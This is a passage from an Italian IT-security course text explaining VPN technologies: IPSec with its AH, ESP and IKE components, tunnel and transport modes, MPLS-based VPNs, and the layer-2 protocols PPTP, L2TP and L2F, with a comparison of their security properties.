la posta elettronica.
2. Strato di trasporto. A questo strato si pu protegge-
re una sessione di comunicazioni tra due host. Poich le
informazioni IP sono aggiunte allo strato di rete (cio sot-
to allo strato di trasporto), non possono essere protette
dallo strato di trasporto. L'utilizzo principale dei protocolli
di sicurezza allo strato di trasporto per proteggere il traf-
fico HTTP. Vengono usati SSL (Secure Sockets Layer) e, so-
prattutto, la sua versione standardizzata TLS (Transport
Layer Security). A differenza dei controlli allo strato appli-
cativo, che richiedono estese personalizzazioni, i control-
li allo strato di trasporto sono molto meno invasivi perch
si limitano a proteggere le comunicazioni in rete senza en-
trare nel merito dei dati applicativi. Sebbene possa richie-
dere la modifica di qualche applicazione, TLS un proto-
collo ben collaudato ed stato incluso in molte applica-
zioni, perci un'opzione molto meno rischiosa rispetto
ad aggiungere protezioni allo strato applicativo. Un incon-
veniente di TLS che protegge solo comunicazioni basate
su TCP, e non anche su UDP.
3. Strato di rete. A questo strato i controlli si applica-
no indistintamente a tutte le applicazioni, e tutte le co-
municazioni tra due host sono protette senza modifica-
re le applicazioni n sui client, n sui server. In molti am-
bienti, controlli come IPSec (IP Security) forniscono una
soluzione molto migliore rispetto a quelle di strato ap-
plicativo o di trasporto, che richiedono l'aggiunta di con-
trolli alle singole applicazioni. Inoltre, dato che le infor-
mazioni IP sono inserite a questo strato, i controlli pos-
sono proteggere sia i dati contenuti nei pacchetti (pas-
sati dagli strati superiori), sia le informazioni IP di ogni
pacchetto. D'altro canto, i controlli allo strato di rete for-
niscono meno controllo e flessibilit nel proteggere spe-
cifiche applicazioni di quanto possano fare i controlli agli
strati applicativo e di trasporto.
4. Strato data link. I controlli di questo strato sono ap-
plicati a tutte le comunicazioni lungo uno specifico colle-
gamento fisico come, ad esempio, il circuito dedicato tra
due edifici o la connessione modem con un ISP (Internet
Service Provider). I controlli di strato data link per circuiti
dedicati sono esercitati solitamente da dispositivi hardwa-
re specializzati (come i data link encryptor), mentre per al-
tri tipi di collegamenti (per esempio via modem) sono for-
niti dal software. Dato che lo strato data link sotto allo
strato di rete, i controlli proteggono dati e header IP dei
pacchetti; si tratta di controlli semplici e facili da imple-
mentare, che supportano anche strati di rete diversi dall'IP.
Dato che i controlli di tipo data link sono specifici per un
certo tipo di collegamento fisico, non si prestano a pro-
teggere connessioni composte da link multipli, come una
VPN attraverso Internet. Questa normalmente costituita
da una catena di numerosi link fisici eterogenei, per cui si
dovrebbe dislocare una serie di controlli data link separa-
ti per ogni tratta, e non fattibile.
Visto che i controlli allo strato di rete possono proteg-
gere molte applicazioni senza richiedere modifiche, sono
quelli pi usati per la sicurezza delle comunicazioni su In-
ternet. Forniscono una soluzione unificata per tutte le ap-
5.7.10 Reti private
virtuali
Il flusso dei dati in una
rete TCP/IP
plicazioni e proteggono sia i dati, sia le informazioni IP. In
qualche caso, altri tipi di protezione possono essere pi
indicati; se, ad esempio, occorre proteggere una sola ap-
plicazione, controllare l'intero strato di rete pu essere
una misura eccessiva.
Tra gli strumenti di protezione delle comunicazioni allo
strato di rete, IPSec (Internet Protocol Security) emerso co-
me quello pi comunemente utilizzato. IPSec un com-
plesso di standard aperti volti ad assicurare comunicazio-
ni private su reti IP. A seconda di come implementato e
configurato, pu assicurare una combinazione dei seguen-
ti tipi di protezione:
1. Riservatezza. IPSec pu impedire che i dati siano letti
da estranei, utilizzando la cifratura simmetrica e una
chiave temporanea nota solo alle due parti che scam-
biano dati.
2. Integrit. IPSec in grado di determinare se i dati sono
stati modificati durante il transito. Viene usato un MAC
(Message Authentication Code) calcolato come hash dei
dati e ricalcolato a destinazione; se i due MAC differi-
scono, il messaggio stato alterato.
3. Autenticazione. Ogni endpoint (punto terminale) IPSec
conferma l'identit dell'altro endpoint IPSec con cui desi-
dera comunicare, garantendo che il traffico di rete e i da-
ti provengano dall'host previsto.
4. Protezione da replay. Gli stessi dati non possono essere
inviati pi volte, n inviati con forte alterazione della se-
quenza. IPSec non garantisce, tuttavia, che i dati siano re-
capitati nell'esatto ordine di invio.
5. Protezione da analisi del traffico. Un'entit che tenga mo-
nitorato il traffico di rete IPSec non in grado di ricono-
scere chi sono gli interlocutori, quanto spesso comuni-
cano o quanti dati si scambiano. Pu tuttavia contare il
numero di pacchetti scambiati.
6. Controllo d'accesso. Gli endpoint IPSec possono eserci-
tare un'azione di filtraggio per assicurare che solo gli
utenti IPSec autorizzati possano accedere a determinate
risorse di rete; possono anche permettere o bloccare
certi tipi di traffico di rete.
Crittografia
Le VPN utilizzano un ampio repertorio di tecnologie crit-
tografiche, tra cui cifratura simmetrica (come AES, Advan-
ced Encryption Standard, e 3DES, Triple Data Encryption
Standard), cifratura asimmetrica (a chiave pubblica, come
RSA e DSA, Digital Signature Algorithm), hashing (come
MD5, Message Digest 5, e SHA-1, Secure Hash Algorithm 1) e
protocolli di scambio e gestione delle chiavi.
Architettura gateway-to-gateway
La comunicazione sicura tra due reti, attraverso In-
ternet (o altra rete TCP/IP), realizzata dislocando un ga-
teway VPN in ciascuna delle due reti. Il gateway, molto
spesso, incorporato in un firewall o router, ma pu es-
sere un dispositivo dedicato, come un server o un'ap-
pliance.
Nell'illustrazione, il tratto continuo indica la connes-
sione protetta, che solo quella tra i due gatway; le con-
nessioni tra i gateway e gli host sulle reti locali (tratteg-
giate) non sono protette. Questo il modello pi sempli-
ce da realizzare: la VPN trasparente per gli utenti, che
non devono eseguire un'autenticazione separata per ac-
cedere alla VPN e non hanno bisogno di alcun software
client VPN. Tra due gateway in connessione stabile la
protezione richiesta superiore rispetto a una connes-
sione occasionale, e l'autenticazione avviene solitamen-
te tramite certificati digitali.
Architettura host-to-gateway
Nell'architettura host-to-gateway, un utente remoto
(che pu anche essere un amministratore) accede alla re-
te in modo sicuro. La protezione si estende dall'host re-
moto fino al gateway aziendale.
Quando l'utente remoto ha bisogno di connettersi al-
la rete aziendale, inizia la comunicazione con il gateway
VPN. L'host ha bisogno di un software client che pu es-
sere fornito dal sistema operativo o essere un'applica-
zione commerciale. Ad esempio, Check Point distribuisce
gratuitamente SecuRemote, un software che rende molto
pi facile e veloce configurare un host come punto ter-
minale di una connessione VPN; in tal caso, il gateway
un firewall o un server VPN dello stesso produttore.
Quando l'host desidera stabilire una connessione VPN
con il gateway, quest'ultimo gli chiede di autenticarsi prima
che la connessione possa essere attuata. Lo scambio
d'informazioni avviene tramite certificati (il metodo prefe-
ribile) o chiavi condivise, secondo i tipi di VPN e il grado di
sicurezza richiesto, finch le due parti non si sono reci-
procamente autenticate.
Architettura host-to-host
Si tratta del modello di VPN usato meno di frequente, e
serve per scopi particolari, come l'amministrazione remo-
ta di un singolo server (normalmente, l'amministratore re-
moto pu utilizzare la connessione host-to-gateway). Il ser-
ver deve essere configurato in modo da fornire servizi VPN,
VPN gateway-to-gateway
(per esempio tra due
aziende)
VPN host-to-host
(per esempio tra
amministratore remoto e
server)
VPN host-to-gateway
(per esempio tra
dipendente in viaggio e
azienda)
VPN host-to-gateway tra client
SecuRemote e firewall o server VPN
di Check Point
e l'host dell'amministratore funge da client VPN. Anche
in questo caso il client origina la richiesta di connessio-
ne, che viene stabilita dopo la fase di autenticazione e
scambio di informazioni. Il pi delle volte, la VPN host-to-
host usata quando un piccolo numero di utenti fidati ha
bisogno di amministrare un sistema remoto che richiede
l'uso di protocolli insicuri, e che pu essere aggiornato in
modo da supportare servizi VPN che incapsulino le co-
municazioni insicure.
VPN basate su IPSec/IKE
La principale suite di protocolli usata per creare VPN
IPSec (Internet Protocol Security), sviluppata dall'IETF (In-
ternet Engineering Task Force) e documentata in una lun-
ga serie di RFC, di cui citiamo un minimo subset di base:
RFC 2401: Security Architecture for the Internet Protocol
RFC 2402: IP Authentication Header (AH)
RFC 2406: IP Encapsulation Security Payload (ESP)
RFC 2408: Internet Security Association and Key Manage-
ment Protocol (ISAKMP)
RFC 2409: The Internet Key Exchange (IKE)
IPSec fornisce funzioni di autenticazione e di cifratura a
livello del protocollo IP. Nella pratica, protegge i data-
grammi IP definendo un metodo per specificare il traffico
da proteggere, come quel traffico deve essere protetto e a
chi il traffico inviato. Un IP datagram protetto con IPSec
pur sempre un pacchetto IP, quindi si possono nidificare
i servizi di sicurezza e fornire, ad esempio, l'autenticazio-
ne end-to-end tra due host e inviare i dati protetti da IPSec
attraverso un tunnel, a sua volta protetto da gateway di si-
curezza che utilizzano IPSec.
Il modo in cui IPSec protegge i pacchetti IP attraver-
so l'uso di uno dei suoi due protocolli, ESP (Encapsula-
tion Security Payload) o AH (Authentication Header). AH
fornisce la prova di origine dei pacchetti ricevuti, l'inte-
grit dei dati e la protezione da replay. ESP offre tutto ci
che fornisce AH con, in pi, la riservatezza ottenuta at-
traverso la cifratura del traffico. Il protocollo IKE (Inter-
net Key Exchange) fornisce un modo dinamico automati-
co per autenticare gli interlocutori, negoziare i servizi di
sicurezza e generare chiavi condivise. L'uso di chiavi
asimmetriche (troppo lento per la cifratura del traffico)
limitato all'autenticazione iniziale durante lo scambio
di chiavi, dopo di che, sono usate chiavi simmetriche per
la cifratura dei dati e per il calcolo dei MAC (Message
Authentication Code, usati per l'integrit dei dati).
La RFC2401 definisce l'architettura di base, riferimento
per tutte le implementazioni di IPSec. Definisce i servizi di
sicurezza forniti, come e dove possono essere usati, come
sono costruiti ed elaborati i pacchetti e l'interazione tra l'e-
laborazione IPSec e la politica di sicurezza.
I protocolli IPSec, AH e ESP, possono essere usati per
proteggere l'intero payload IP (il pacchetto ricevuto dallo
strato di trasporto), o solo la parte dati relativa ai proto-
colli di strato superiore. Tale distinzione si riflette nelle due
modalit d'uso di IPSec. Il Transport mode usato per pro-
teggere i protocolli di strato superiore; il Tunnel mode ser-
ve per proteggere interi datagrammi.
In Transport mode, un header IPSec inserito tra l'hea-
der IP e l'header del protocollo superiore (ad esempio
TCP). In Tunnel mode, l'intero pacchetto IP da protegge-
re incapsulato in un altro IP datagram, e un header
IPSec viene inserito tra il nuovo header IP esterno e l'hea-
der IP interno. Sia AH, sia ESP possono operare in Tran-
sport o Tunnel mode.
Il Transport mode pu essere usato solo per proteg-
gere pacchetti laddove il punto terminale della comuni-
cazione coincida con il punto terminale crittografico. Il
Tunnel mode pu essere usato al posto del Transport mo-
de e permette, inoltre, di essere utilizzato dai gateway di
sicurezza per fornire servizi a beneficio di altre entit
della rete, come una VPN. In tal caso, i punti terminali
della comunicazione sono specificati dall'header IP in-
terno, che protetto, e i punti terminali crittografici so-
no quelli dell'header IP esterno. Un gateway di sicurez-
za estrae il pacchetto IP incapsulato a conclusione del-
l'elaborazione IPSec, e inoltra il pacchetto alla sua de-
stinazione finale.
Per poter incapsulare ed estrarre i pacchetti IPSec,
necessario un modo per associare i servizi di sicurezza
e una chiave con il traffico da proteggere e con l'interlo-
cutore con cui viene scambiato il traffico. Tale costru-
zione prende il nome di Security Association (SA). E' uni-
direzionale: definisce i servizi di sicurezza in una dire-
zione, associati ai pacchetti in uscita o in entrata. Tali
servizi sono identificati da un Security Parameter Index
(SPI) presente negli header IPSec, dal protocollo IPSec e
dall'indirizzo di destinazione associato alla SA. Le SA esi-
stono tipicamente in coppie (una per direzione), e sono
create dinamicamente dal protocollo IKE. Le SA risiedo-
no nel Security Association Database (SADB). Un'altra
struttura centrale di IPSec il Security Policy Database
(SPD); ogni suo record definisce il traffico da proteggere,
come proteggerlo e con chi la protezione condivisa. Per
ogni pacchetto che entra o esce dallo stack IP, l'SPD vie-
ne consultato per verificare la possibile applicazione di
servizi di sicurezza. Gli schemi che seguono mostrano il
formato dei pacchetti AH ed ESP in entrambe le modalit,
Tunnel e Transport, con alcuni commenti.
Authentication Header
Il protocollo AH di IPSec assicura l'autenticazione d'o-
rigine, l'integrit e la protezione da replay dei data-
grammi IP in modo connectionless, ovvero pacchetto per
pacchetto. L'integrit garantita dalla checksum gene-
rata da un Message Authentication Code (MAC); l'auten-
ticazione dell'origine dei dati assicurata inserendo una
chiave condivisa nei dati da autenticare; la protezione
da replay ottenuta tramite un numero di sequenza nel-
l'header AH.
AH viene usato in Tunnel mode, ad esempio, in un'ar-
chitettura gateway-to-gateway (detta anche site-to-site), op-
pure LAN-to-LAN(tra LAN della stessa azienda). L'indirizzo
di destinazione nel nuovo header IP l'indirizzo della VPN
di destinazione. La funzione di autenticazione si applica al-
l'intero pacchetto, eccetto che per alcuni campi nel nuovo
header IP (come il time to live, un campo decrementato da
ogni router che instrada il pacchetto), che possono venire
modificati durante il percorso verso destinazione. Tali
campi sono anche chiamati campi mutevoli.
L'autenticazione copre sia l'indirizzo di origine, sia quel-
Transport mode e Tunnel
mode
AH in Tunnel mode
5.7.10.1 Conoscere i
protocolli IPSEC/IKE
lo di destinazione. Ci permette al ricevente di riconosce-
re eventuali attacchi con spoofing del mittente.
AH usato in Transport mode, ad esempio, nell'architet-
tura host-to-host. La differenza principale che viene man-
tenuto l'header IP originale. L'autenticazione riguarda an-
cora l'intero pacchetto. L'autenticazione non fornisce alcu-
na riservatezza, una funzione che spetta al protocollo ESP.
Encapsulation Security Payload
Il protocollo ESP di IPSec assicura sempre la riservatez-
za (tramite cifratura) e, opzionalmente, l'integrit, l'auten-
ticazione dell'origine dei dati e la protezione da replay.
Quando usato per fornire le funzioni di autenticazione,
ESP utilizza gli stessi algoritmi impiegati da AH, ma con una
diversa copertura: i campi autenticati non comprendono il
nuovo header IP, quindi ESP non fornisce protezione con-
tro lo spoofing dell'indirizzo di origine.
Lo schema del pacchetto ESP in Tunnel mode mostra
l'aggiunta di un header ESP. L'indirizzo di destinazione nel
nuovo header IP l'indirizzo della VPN di destinazione.
L'autenticazione non include il nuovo header IP.
Anche lo schema del pacchetto ESP in Transport mode
mostra l'aggiunta dell'header ESP; la principale differen-
za che viene mantenuto l'header IP originale. A diffe-
renza del Transport mode di AH, l'autenticazione non in-
clude l'header IP.
Le funzioni AH ed ESP possono essere utilizzate insieme.
Una potenziale combinazione usare ESP in Transport mo-
de e AH in Tunnel mode.
In questa combinazione di AH ed ESP, il payload originale
e il trailer (coda) ESP sono le uniche porzioni che vengono
cifrate (come ESP in Transport mode). L'autenticazione co-
pre l'intero pacchetto, tranne per i campi mutevoli del nuo-
vo header IP.
Internet Key Exchange
IKE un protocollo che ha la funzione di negoziare in
modo protetto le SA (Security Associations) e fornire il
materiale autenticato usato per la costruzione delle chia-
vi. I processi che implementano IKE possono essere usa-
ti per la negoziazione delle VPN e per fornire a un utente
remoto (con indirizzo IP non noto in anticipo) l'accesso
sicuro a un host o a una rete. IKE richiede il completa-
mento di due fasi prima che il traffico possa essere pro-
tetto con AH o ESP.
Lo scopo della prima fase che i due endpoint IPSec ne-
gozino con successo un canale sicuro attraverso il quale
possa essere negoziata una SA IPSec. Il canale sicuro cos
creato detto IKE SA; il suo scopo fornire una cifratura
e un'autenticazione bidirezionale per gli altri scambi IKE:
le negoziazioni della fase due, il trasferimento delle infor-
mazioni di stato e di errore, e la creazione di informazioni
per la costruzione delle chiavi attraverso l'algoritmo Diffie-
Hellman di scambio chiavi (che ha dato origine alla critto-
grafia asimmetrica).
La fase uno pu avvenire in due modi: main mode, che
prevede tre paia di messaggi, o aggressive mode, che uti-
lizza solo tre messaggi, ma meno flessibile e sicuro.
Lo scopo della fase due di stabilire una SA per l'ef-
fettiva connessione IPSec (detta IPSec SA). A differenza
della IKE SA, che bidirezionale, le IPSec SA sono mono-
direzionali, quindi una connessione IPSec tra due sistemi
richiede due SA.
L'utilizzo di IPSec pu riservare due difficolt. La prima
relativa alla Network Address Translation (NAT). La SA
legata agli indirizzi di mittente e destinatario, quindi, se
viene modificato un indirizzo nel pacchetto durante il per-
corso, l'autenticazione fallisce.
Ci non permetterebbe a IPSec di attraversare un rou-
ter che applica la NAT. Ci sono diverse soluzioni per l'uso
di NAT con IPSec:
1. eseguire la NAT prima di applicare IPSec (per esempio,
il gateway pu eseguire prima la NAT e poi IPSec per i
pacchetti in uscita);
2. usare UDP per l'incapsulamento dei pacchetti ESP in
Tunnel mode. L'incapsulamento UDP aggiunge un hea-
der UDP a ogni pacchetto che fornisce un indirizzo e
porta UDP utilizzabili da NAT/NAPT; ci elimina conflit-
ti tra IPSec e NAT nella maggior parte dei casi (vedere le
RFC 3947 e 3948).
3. nelle abitazioni e piccoli uffici si pu configurare il rou-
ter ADSL che esegue la NAT in modo da permettere l'at-
traversamento di IPSec.
Una seconda difficolt riguarda la gestione, in caso di
Tunnel mode, dei parametri legati alla Class of Service (CoS
- gestione del traffico per tipo, ad esempio posta, trasferi-
mento file, streaming video, con classi di priorit diverse).
Infatti, non ovvio se e come i parametri CoS del pac-
chetto incapsulato debbano essere utilizzati dal gateway
per il nuovo header generato, o se esso ne debba genera-
re di propri; in questo caso, il link cifrato potrebbe non ri-
spettare i requisiti dell'header interno senza che, per, la
cosa risulti evidente al mittente.
Alcune ottime fonti di informazioni su IPSec e VPN so-
no: IPSec di N. Doraswamy e D. Harkins (l'autore di IKE),
Prentice Hall, 1999; Guide to IPSec VPNs, National Institu-
te of Standard and Technology, US Department of Com-
merce, pubblicazione 800-77, dicembre 2005; Virtual Pri-
vate Networks and Their Use in Support of National Secu-
rity and Emergency Preparedness, National Communica-
tion System, US Department of Homeland Security, 2002.
ESP in Tunnel mode
ESP in
Transport mode
Combinazione di AH in
Tunnel mode e ESP in
Transport mode
AH in Transport mode
VPN basate su MPLS
Il Multiprotocol Label Switching (MPLS) un meccani-
smo di trasporto dei dati che emula alcune propriet di
una rete a commutazione di circuito su una rete a com-
mutazione di pacchetto. Nel modello OSI, MPLS si collo-
ca in una posizione intermedia tra gli strati 2 (data link)
e 3 (rete), che spesso chiamata strato 2,5. MPLS un me-
todo ad alte prestazioni per l'inoltro dei frame attraverso
una rete; mette in grado i router ai bordi della rete di ap-
plicare semplici etichette ai frame e gli switch ATM
(Asynchronous Transfer Mode), o i router all'interno della
rete possono commutare i pacchetti in base alle etichet-
te con un minimo costo di elaborazione.
Nel modello di routing convenzionale di una rete con-
nectionless (dove ogni pacchetto instradato individual-
mente), ogni router utilizza un algoritmo di routing di
strato 3 (rete o IP). Man mano che il pacchetto attraver-
sa la rete, ogni router sul percorso prende una decisione
indipendente sull'inoltro del pacchetto. Usando le infor-
mazioni nell'header del pacchetto e le informazioni otte-
nute dall'algoritmo di routing, il router sceglie la desti-
nazione del salto (hop) successivo per il pacchetto. Il pro-
cesso implica trovare una corrispondenza tra l'indirizzo
di destinazione di ogni pacchetto e una route specifica ot-
tenuta dalla routing table; l'analisi e classificazione del-
l'header IP , perci, dispendiosa in termini di risorse di
calcolo. Inoltre, le informazioni contenute nella maggior
parte degli header non consentono al router di inviare il
pacchetto fino alla destinazione finale; i router non han-
no una visione completa del percorso dei pacchetti, e i
criteri di decisione per l'instradamento (economia, per-
corso pi breve, ecc.) non assicurano obiettivi di qualit
del servizio (QoS), alta disponibilit e flessibilit.
In un ambiente MPLS i percorsi ottimali attraverso la re-
te sono identificati in anticipo. Perci, appena i pacchetti di
dati entrano nella rete MPLS, i dispositivi di ingresso usa-
no le informazioni di strato 3 per assegnare i pacchetti a
uno dei percorsi predeterminati. A tale scopo, viene inse-
rita nel pacchetto un'etichetta (label) che specifica il per-
corso da seguire. L'etichetta accompagna il pacchetto da-
ti man mano che attraversa la rete. I router successivi sul
percorso usano le informazioni nell'etichetta per determi-
nare il dispositivo di destinazione del salto successivo.
MPLS utilizza un header che consiste di una serie di eti-
chette, detta label stack. Ogni elemento dello stack lungo
32 bit, e comprende quattro campi:
1. il valore dell'etichetta (20 bit);
2. un campo sperimentale di 3 bit per uso futuro;
3. un flag di fondo stack di 1 bit (vale 1 per l'ultima etichet-
ta dello stack);
4. un campo TTL (time to live) di 8 bit.
Il pacchetto MPLS viene trasmesso da mittente a de-
stinatario su circuiti virtuali in base alle informazioni con-
tenute nelle etichette, che determinano il percorso. In tal
modo, si ottiene la massima flessibilit nella definizione
dei percorsi unita all'efficienza dell'instradamento (solo
il router d'ingresso della rete MPLS deve eseguire calco-
li impegnativi). Inoltre, MPLS permette di scegliere un
percorso (route) in base alla qualit del servizio richiesta
(in termini di larghezza di banda, tempi di ritardo o per-
dita di pacchetti).
In particolare, ci sono due approcci per fornire il rou-
ting con QoS (Quality of Service) in ambito MPLS: trami-
te informazioni di Classe di Servizio (CoS) nell'etichetta
MPLS, usate per ottenere adeguata priorit di routing, op-
pure attraverso pi percorsi messi a disposizione dalla
rete MPLS, ciascuno con un diverso livello di servizio, in
modo che il traffico segua il percorso appropriato quan-
do entra nella rete.
Lo standard MPLS supporta diversi protocolli di rete,
tra cui IPv4, IPv6, IPX e AppleTalk. Inoltre, supporta di-
versi tipi di strato data link, inclusi Ethernet, Token-Ring,
FDDI (Fiber Distributed Data Interface), ATM (Asynchro-
nous Transfer Mode), Frame Relay e collegamenti punto a
punto. Lo standard viene progressivamente esteso ad al-
tri protocolli e tipi di rete.
Uno degli impieghi tipici di MPLS la realizzazione di cir-
cuiti virtuali (ad esempio su reti ATM), che sono visti dagli
utenti come un singolo collegamento di strato 2 (data link)
tra mittente e destinatario anche se, in realt, attraversano
pi nodi di una rete geografica. La tecnologia MPLS tra-
sparente al traffico IP; allo strato 3 (rete) il traffico di due
circuiti MPLS pu essere completamente separato, anche
se essi condividono gli stessi apparati e collegamenti fisici.
Tali circuiti virtuali hanno un'affidabilit non inferiore a
quella di una linea dedicata presa in affitto.
Nel complesso, MPLS combina l'intelligenza del routing
con la velocit dello switching, offrendo benefici notevoli a
reti di vario tipo: con pura architettura IP, con abbinamen-
to di IP e ATM, o con un mix di tecnologie di strato 2. MPLS
impiegato principalmente nel nucleo della rete dei servi-
ce provider. I router periferici della rete applicano le eti-
chette ai pacchetti, e gli switch ATM o i router dentro la re-
te commutano i pacchetti in base alle etichette, col minimo
sforzo. In pratica, MPLS integra le prestazioni e le capacit
di gestione del traffico di strato 2 con la scalabilit e flessi-
bilit dello strato 3.
Vantaggi e svantaggi
delle diverse tecnologie
Negli ultimi anni si sono costituiti due gruppi di lavo-
ro dell'IETF (Internet Engineering Task Force) focalizzati
su tre componenti delle VPN: sicurezza Internet, stan-
dardizzazione del label switching e qualit del servizio
(QoS - Quality of Service). Nell'Area Routing dell'IETF, il
gruppo di lavoro dell'MPLS ha sviluppato meccanismi
per supportare l'allocazione di risorse agli strati di rete
superiori, la QoS e la definizione del comportamento de-
gli host. Contemporaneamente, nell'Area Sicurezza del-
l'IETF, il gruppo di lavoro IPSec si concentrato sulla pro-
tezione dello strato di rete attraverso meccanismi di si-
curezza crittografici che supportano in modo flessibile
varie combinazioni di autenticazione, integrit, controllo
d'accesso e riservatezza. L'IETF ha lasciato la questione
dell'integrazione tra MPLS e IPSec alla discrezione dei
produttori di networking. Il risultato che sono emerse
due architetture, una basata su MPLS e i circuiti virtuali,
e l'altra basata su IPSec e la cifratura; le due architetture
sono comunque complementari, anzich esclusive.
L'autenticazione e la cifratura dei pacchetti tramite
IPSec offrono, rispettivamente, garanzie di integrit e di ri-
servatezza. Tali propriet sono controllate dal mittente e
dal destinatario, indipendentemente dalla rete attraverso
cui sono trasmessi i pacchetti. Pertanto, questa tecnologia
pu essere usata su Internet anche tra host e tra sedi re-
5.7.10.2 Conoscere
le reti private
virtuali basate
su tecnologia MPLS
L'header MPLS (
mostrata una sola
etichetta)
5.7.10.3 Sapere
quale livello di
sicurezza garantito
dalle differenti
tecnologie
mote, dislocate in qualunque parte del mondo. Tuttavia,
non viene offerta alcuna garanzia di disponibilit: la tra-
smissione dei pacchetti continua ad avvenire secondo il
principio di "best effort", che caratterizza il traffico IP: si
eseguono controlli, ma i pacchetti sono consegnati singo-
larmente, in ordine casuale e senza garanzia che arrivino
tutti a destinazione. La disponibilit di banda pu essere
contrattata attraverso meccanismi di CoS (Class of Service),
ma senza garanzie; IPSec non si occupa direttamente di
qualit del servizio, mentre alcuni produttori hanno svi-
luppato soluzioni per mantenere la classificazione QoS dei
pacchetti all'interno di un tunnel IPSec.
Al contrario, la qualit del servizio ottenuta in MPLS
attraverso l'assegnazione di una banda garantita a un cir-
cuito virtuale, preservata da tutti gli apparati che realiz-
zano il circuito. Inoltre, le capacit di traffic engineering,
ovvero la flessibilit con cui si possono definire percorsi
alternativi, contribuiscono alla protezione del traffico e
alla robustezza della rete. D'altro canto, anche questa tec-
nologia ha i suoi limiti. La riservatezza e l'integrit del
traffico non sono garantite da un estremo all'altro della
connessione, e il traffico attraversa il circuito in chiaro,
quindi potrebbe essere intercettato. La valutazione del ri-
schio legata all'affidabilit del gestore sia in termini di
correttezza, sia di gestione della sicurezza al proprio in-
terno. La protezione del traffico garantita solo se gli ap-
parati sono configurati in modo appropriato. Le conse-
guenze di errori di configurazione includono:
1. perdita di efficacia dei meccanismi di disponibilit (ad
esempio, in caso di guasto hardware);
2. vulnerabilit ad attacchi agli apparati attraverso i circuiti
MPLS che essi supportano (gli stessi dispositivi hardwa-
re possono supportare circuiti MPLS di aziende concor-
renti e di provider);
3. perdita di isolamento del traffico su circuiti diversi.
Si deve anche tenere conto che, solitamente, la disponi-
bilit di circuiti MPLS legata all'infrastruttura di un sin-
golo gestore, quindi l'attivazione di protezione tra due ho-
st su reti diverse collegate a Internet non immediata co-
me con IPSec. Infine, la tecnologia MPLS pu avere costi no-
tevoli, specialmente in conseguenza della banda garantita,
mentre IPSec pu essere utilizzata con costi trascurabili.
Entrambe le tecnologie possono convivere con vantaggio,
specialmente se la VPN utilizzata per realizzare tratte geo-
grafiche della propria intranet.
Altre tecnologie
di incapsulamento
IPSec offre la flessibilit e sicurezza che lo rendono la so-
luzione preferita per la maggior parte delle VPN. Esistono
diverse alternative, che possono essere raggruppate se-
condo lo strato di rete a cui si applicano.
Protocolli VPN di strato data link
Mentre IPSec opera allo strato di rete e supporta solo il
protocollo IP, i protocolli VPN di strato 2 (data link) posso-
no essere usati con diversi protocolli di rete, come IP, IPX
e NetBEUI (oggi IPX e NetBEUI sono obsoleti).
I pi comuni protocolli VPN di strato 2 sono usati tipi-
camente in abbinamento al Point-to-Point Protocol (PPP), e
per lo pi servono a rendere sicure le connessioni via mo-
dem. PPP, non il protocollo VPN, fornisce tipicamente i ser-
vizi di autenticazione e cifratura del traffico. Tuttavia, lo
standard PPP prevede solo la cifratura DES (Data Encryp-
tion Standard, obsoleto perch insicuro) e l'autenticazione
via PAP (Password Authentication Protocol) e CHAP (Chal-
lenge Handshake Authentication Protocol), anch'essi insicu-
ri, mentre i protocolli VPN di strato 2 utilizzano spesso pro-
tocolli aggiuntivi per offrire autenticazione e cifratura pi
robuste. I protocolli VPN pi usati sono i seguenti:
1. Point-to-Point Tunneling Protocol (PPTP) Version 2.
Fornisce un tunnel protetto tra un client (per esempio un
personal computer) e un server, entrambi abilitati a PPTP.
Richiede agli utenti l'installazione e la configurazione del
software client (incluso in Windows). Per il trasporto dei
dati, PPTP utilizza il protocollo IP 47 (GRE, Generic Routing
Encapsulation), che viene bloccato dalla maggior parte dei
dispositivi di filtraggio dei pacchetti, quindi pu essere ne-
cessaria una loro riconfigurazione per lasciarlo passare. Ol-
tre alla connessione GRE, PPTP apre un canale di control-
lo usando la porta TCP 1723. Microsft ha creato un proprio
meccanismo di cifratura per PPTP, l'MPPE (Microsoft Point-
to-Point Encryption), che usa una chiave da 40 o 128 bit con
l'algoritmo RC4 di RSA. Microsoft ha anche sviluppato MS-
CHAP e MSCHAPv2 per fornire un'autenticazione pi robu-
sta, ma neppure questi protocolli sono esenti da vulnera-
bilit. Il PPTP originale era affetto da gravi lacune di sicu-
rezza. PPTPv2 ha risolto molti problemi, ma i ricercatori
hanno individuato punti deboli che ne sconsigliano l'utiliz-
zo, se non per connessioni occasionali senza alti requisiti
di sicurezza. PPTP pu essere utilizzato, ad esempio, per
connettersi alla rete domestica o SOHO (Small Office-Home
Office) quando si in viaggio.
2. Layer 2 Tunneling Protocol (L2TP). Alla pari di
PPTP, protegge le comunicazioni tra un client e un server
entrambi abilitati a L2TP. Sui computer degli utenti
dev'essere installato e configurato un client L2TP. A dif-
ferenza di PPTP, L2TP utilizza un proprio protocollo di
tunneling che fa uso della porta UDP 1701. Inoltre, L2TP
supporta sessioni multiple nello stesso tunnel. Oltre ai
metodi di autenticazione forniti da PPP, L2TP supporta al-
tri metodi, come l'uso dei server di autenticazione RA-
DIUS e TACACS+. Spesso, L2TP utilizza IPSec per i servi-
zi di cifratura e gestione delle chiavi.
3. Layer 2 Forwarding (L2F). A differenza di PPTP e
L2TP, L2F destinato all'uso tra dispositivi di rete, come il
server di accesso alla rete di un ISP (Internet Service Provi-
der), e il gateway VPN di un'azienda. Gli utenti stabiliscono
una connessione non protetta dal loro computer all'ISP.
Quest'ultimo riconosce che il traffico degli utenti deve es-
sere incapsulato in un tunnel verso l'azienda, perci au-
tentica ogni utente e il gateway dell'azienda, quindi fornisce
la protezione del traffico tra il proprio server e l'azienda.
L'uso di L2F richiede il supporto e la partecipazione dell'I-
SP. Poich L2F non basato sui client, i sistemi non hanno
bisogno di software client o di configurazione, ma la co-
municazione tra i computer degli utenti e i l'ISP non pro-
tetta. Come L2TP, anche L2F pu usare protocolli di auten-
ticazione come RADIUS e TACACS+, ma L2F non supporta
la cifratura dei dati.
L2TP stato introdotto per rimpiazzare PPTP e L2F.
Quando configurato in modo appropriato, L2TP combina-
to con IPSec pu fornire autenticazione forte e cifratura.
PPTP non dovrebbe essere usato per proteggere le comu-
nicazioni, a causa dei suoi punti deboli. Poich L2F fornisce
solo una protezione limitata a porzioni delle comunicazio-
ni che coinvolgono un ISP partecipante, si dovrebbe usare
L2TP al posto di L2F. L2TP con IPSec un'opzione valida
per fornire riservatezza e integrit alle comunicazioni dial-
up (chiamata via modem), specialmente per organizzazio-
ni che contrattano servizi VPN con un ISP.
Oltre a proteggere le connessioni dial-up, i protocolli
